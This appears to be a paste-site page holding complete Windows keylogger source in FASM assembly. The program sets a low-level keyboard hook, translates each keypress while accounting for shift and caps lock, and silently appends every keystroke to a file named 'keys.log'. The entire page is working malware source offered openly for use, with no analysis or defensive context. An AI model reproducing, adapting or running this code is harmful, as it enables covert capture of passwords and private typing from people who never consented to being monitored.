Keylogger source written in assembly


SUBMITTED BY: Guest

DATE: July 14, 2014, 3:56 a.m.

FORMAT: Text only

SIZE: 4.5 kB

HITS: 909

  1. format PE GUI
  2. entry start
  3. include 'win32a.inc'
  4. section '.text' code readable executable
  5. start:
  6. push NULL
  7. push FILE_ATTRIBUTE_NORMAL
  8. push OPEN_ALWAYS ; Creates a file if it doesn't exist
  9. push NULL
  10. push FILE_SHARE_READ ; Allow other processes to read
  11. push 0004h ; FILE_APPEND_DATA
  12. push _file_name
  13. call [CreateFile]
  14. mov [hFile], eax
  15. push NULL
  16. call [GetModuleHandle]
  17. push 0
  18. push eax
  19. push LowLevelKeyboardHook
  20. push WH_KEYBOARD_LL
  21. call [SetWindowsHookEx]
  22. ; Try to keep the program running with an infinite loop
  23. @@:
  24. push 0
  25. push 0
  26. push NULL
  27. push buffer
  28. call [GetMessage]
  29. jmp @b
  30. proc LowLevelKeyboardHook nCode, wParam, lParam
  31. push ebx
  32. push esi
  33. push edi
  34. cmp [wParam], WM_KEYDOWN
  35. jne callnexthookex
  36. ; Translate the virtual-key code to something readable
  37. mov esi, [lParam] ; Move the KBDLLHOOKSTRUCT to esi
  38. mov esi, [esi] ; Move the vkCode to esi
  39. cmp esi, 09h
  40. jb callnexthookex ; Below the smallest vkCode allowed
  41. cmp esi, 0DEh
  42. ja callnexthookex ; Above the largest vkCode allowed
  43. push VK_SHIFT
  44. call [GetKeyState]
  45. test eax, 00010000h
  46. setnz bl ; Sets if shift key is down
  47. push VK_CAPITAL
  48. call [GetKeyState]
  49. test eax, 1
  50. setnz cl ; Sets if caps lock key is on
  51. test bl, cl
  52. jnz shift_capital ; Shift key is down and caps lock key is on
  53. test bl, bl
  54. jnz shift ; Shift key is down
  55. test cl, cl
  56. jnz capital ; Caps lock key is on
  57. ; Not using shift or caps lock
  58. character:
  59. add esi, _chars - 9 ; Make esi point to the character
  60. jmp writefile
  61. shift_capital:
  62. ; Use a character from shift but not if the vkCode is alphabetic
  63. cmp esi, 41h
  64. jb shift ; Below A key
  65. cmp esi, 5Ah
  66. ja shift ; Above Z key
  67. jmp character
  68. capital:
  69. ; Use a character from shift if the vkCode is alphabetic
  70. cmp esi, 41h
  71. jb character ; Below A key
  72. cmp esi, 5Ah
  73. ja character ; Above Z key
  74. shift:
  75. add esi, _shift_chars - 9
  76. writefile:
  77. ; Check if the character is null
  78. mov al, [esi]
  79. test al, al
  80. jz callnexthookex
  81. ; Write the character
  82. push NULL
  83. push buffer
  84. push 1
  85. push esi
  86. push [hFile]
  87. call [WriteFile]
  88. ; Call CallNextHookEx to keep the keyboard responsive
  89. callnexthookex:
  90. push [lParam]
  91. push [wParam]
  92. push [nCode]
  93. push NULL
  94. call [CallNextHookEx]
  95. pop edi
  96. pop esi
  97. pop ebx
  98. ret
  99. endp
  100. section '.rdata' data readable
  101. _file_name db 'keys.log', 0
  102. ; For translating virtual-key codes
  103. _chars:
  104. db 09h
  105. rb 3
  106. db 0Ah
  107. rb 18
  108. db ' '
  109. rb 15
  110. db '0123456789'
  111. rb 7
  112. db 'abcdefghijklmnopqrstuvwxyz'
  113. rb 5
  114. db '0123456789*+', 0Ah, '-./'
  115. rb 74
  116. db ';=,-./`'
  117. rb 26
  118. db '[\]', "'"
  119. _shift_chars:
  120. db 09h
  121. rb 3
  122. db 0Ah
  123. rb 18
  124. db ' '
  125. rb 15
  126. db ')!@#$%^&*('
  127. rb 7
  128. db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  129. rb 5
  130. db '0123456789*+', 0Ah, '-./'
  131. rb 74
  132. db ':+<_>?~'
  133. rb 26
  134. db '{|}"'
  135. section '.bss' readable writeable
  136. hFile dd ? ; Handle to the file
  137. buffer rb 20 ; Placeholder for GetMessage and WriteFile
  138. section '.idata' import data readable writeable
  139. dd 0, 0, 0, rva kernel_name, rva kernel_table
  140. dd 0, 0, 0, rva user_name, rva user_table
  141. dd 0, 0, 0, 0, 0
  142. kernel_name db 'kernel32.dll', 0
  143. user_name db 'user32.dll', 0
  144. kernel_table:
  145. CreateFile dd rva _CreateFileA
  146. GetModuleHandle dd rva _GetModuleHandleA
  147. WriteFile dd rva _WriteFile
  148. dd 0
  149. user_table:
  150. CallNextHookEx dd rva _CallNextHookEx
  151. GetKeyState dd rva _GetKeyState
  152. GetMessage dd rva _GetMessageA
  153. SetWindowsHookEx dd rva _SetWindowsHookExA
  154. TranslateMessage dd rva _TranslateMessage
  155. dd 0
  156. ; kernel32.dll
  157. _CreateFileA db 0, 0, 'CreateFileA', 0
  158. _GetModuleHandleA db 0, 0, 'GetModuleHandleA', 0
  159. _WriteFile db 0, 0, 'WriteFile', 0
  160. ; user32.dll
  161. _CallNextHookEx db 0, 0, 'CallNextHookEx', 0
  162. _GetKeyState db 0, 0, 'GetKeyState', 0
  163. _GetMessageA db 0, 0, 'GetMessageA', 0
  164. _SetWindowsHookExA db 0, 0, 'SetWindowsHookExA', 0
  165. _TranslateMessage db 0, 0, 'TranslateMessage', 0

comments powered by Disqus